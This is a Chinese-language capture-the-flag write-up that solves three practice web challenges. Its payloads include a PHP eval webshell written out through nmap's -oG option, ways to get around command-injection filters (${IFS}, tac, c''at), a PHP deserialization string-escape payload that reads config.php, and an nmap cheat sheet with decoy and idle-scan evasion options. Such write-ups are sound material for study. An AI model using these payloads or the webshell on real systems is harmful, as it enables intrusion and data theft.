目录
[WUSTCTF2020]朴实无华
好家伙,上来让我黑他,有判头!
robots.txt下面有提示,让我打开
好家伙,buu第二页的题不能就这么出了,应该是套娃!
我就说没这么好心!源代码和控制台啥也找不到,抓包看看头吧
正在上传…重新上传取消
这不就来了!!!!look_at_me~!~~
游戏才刚刚开始!还给我乱码!火狐有解码!
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
审!
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
秉着没见过什么什么就是考点的原则,没见过intval,intval — 获取变量的整数值,通过使用指定的进制 base
转换(默认是十进制),返回变量 value
的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE
错误并返回 1。
-
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
-
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
-
将使用 10 进制 (decimal)。
php5中intval处理十六进制字符串有问题,但是intval(字符串+1)会变成数字的
所以第一关就完事
?num=0x1234
来到第二层
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
需要md5后的值和本身的值相等,以前md5套娃做过,翻笔记得到0e215962017
当然可以脚本跑
def run():
i = 0
while True:
text = '0e{}'.format(i)
m = md5(text)
print(text,m)
if m[0:2] == '0e' :
if m[2:].isdigit():
find=[]
print('find it:',text,":",m)
find = find.append(text)
i +=1
return find
t = run()
print(t)
最后一关!
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
ls看到flag就在当前目录
ban了cat和空格
${IFS}、$IFS$9、<、>、<>、{,}、%20(space)、%09、|等可以代替空格
绕过cat
c''at c""at ca$@t
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
vi编辑有时候可能回显
使用127.0.0.1|tail (flag文件名)
总结:
复习了一下rce绕过的方法
php5中intval处理十六进制字符串有问题,但是intval(字符串+1)会变成数字的
[网鼎杯 2020 朱雀组]Nmap
打开看到页面,好cool!!!猜它是rce!
正在上传…重新上传取消
尝试一下,虽然知道要失败,但是还是要尝试!看到|被\转义了
正在上传…重新上传取消
想起来了前面做的[BUUCTF 2018]Online Tool
那个的payload是
' <?php @eval($_POST["cmd"]);?> -oG fuck.php '
回显hack,应该是被ban了,fuzz一下发现是php
' <?= @eval($_POST["cmd"]);?> -oG fuck.phtml '
咱就是说,咱又不是绕不过去,再加上IP!
127.0.0.1 | ' <?= @eval($_POST["cmd"]);?> -oG fuck.phtml '
蚁剑连接!下一题!
总结:
复习一下nmap?
nmap -v 127.0.0.1 给出了远程机器更详细的信息,显示冗余信息(扫描细节) nmap -iL nmaptest.txt 运行带“iL” 选项的nmap命令来扫描文件中列出的所有IP地址 nmap 192.168.0.* --exclude 192.168.0.100 使用“-exclude”选项来排除某些你不想要扫描的主机 nmap -A 192.168.0.101 启用操作系统和版本检测,脚本扫描和路由跟踪功能 nmap -O 127.0.0.1 使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息 nmap -sA 192.168.0.101 扫描远程主机以探测该主机是否使用了包过滤器或防火墙 nmap -PN 192.168.0.101 扫描主机检测其是否受到数据包过滤软件或防火墙的保护 nmap -sP 192.168.0.* 找出网络中的在线主机 nmap -F 192.168.0.101 快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口 nmap -f 192.168.96.4 使用小数据包发送,避免被识别出 nmap -r 192.168.0.101 不会随机的选择端口扫描 nmap -p 80,443 192.168.0.101 使用“-P”选项指定你想要扫描的端口 nmap -sV 192.168.0.101 查找主机服务版本号 nmap -PS 192.168.0.101 使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包) nmap -Pn 192.168.96.4 目标机禁用ping,绕过ping扫描 nmap -sn 192.168.96.4 对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活) nmap -sS 192.168.0.101 执行一次隐蔽的扫描,安全,快 nmap -sT 192.168.0.101 使用TCP Syn扫描最常用的端口,不安全,慢 nmap -sN 192.168.0.101 执行TCP空扫描以骗过防火墙 nmap -sI 僵尸ip 目标ip 使用僵尸机对目标机发送数据包 nmap 192.168.96.4 -oX myscan.xml 对扫描结果另存在myscan.xml nmap -T1~6 192.168.96.4 设置扫描速度,一般T4足够 nmap –mtu <size> 192.168.96.4 发送的包大小,最大传输单元必须是8的整数 nmap -D <假ip> 192.168.96.4 发送参杂着假ip的数据包检测 继续中断扫描: nmap –oG 1.txt –v 192.168.1.1/24 -oG将扫描结果保存为TXT,Ctrl+C中断扫描 Nmap –resume 1.txt 作用:继续扫描
正在上传…重新上传取消
写🐎yyds!!
[0CTF 2016]piapiapia
经历了小风小浪的洗礼,我终于不是那个见到登录框就疯狂注入注入的傻孩子了!现在的我!先看源代码再看F12然后一边扫描一边注入,扫到了/www.zip可以down源码!
down下来后发现了register.php注册完登陆进去发现了上传点,打开update.php审计一下!
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
好多正则匹配,,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。
前面有一个题是反序列化字符逃逸,这个题也是!
我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
我们再继续追寻下去
filter()
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
update()
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为'hacker'
我们再看看profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
我们可以看到这里有反序列化还有文件读取,我们对这道题应该有了大致的思路了。flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,反序列字符逃逸。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
总结:
复习反序列化!
复习字符串逃逸!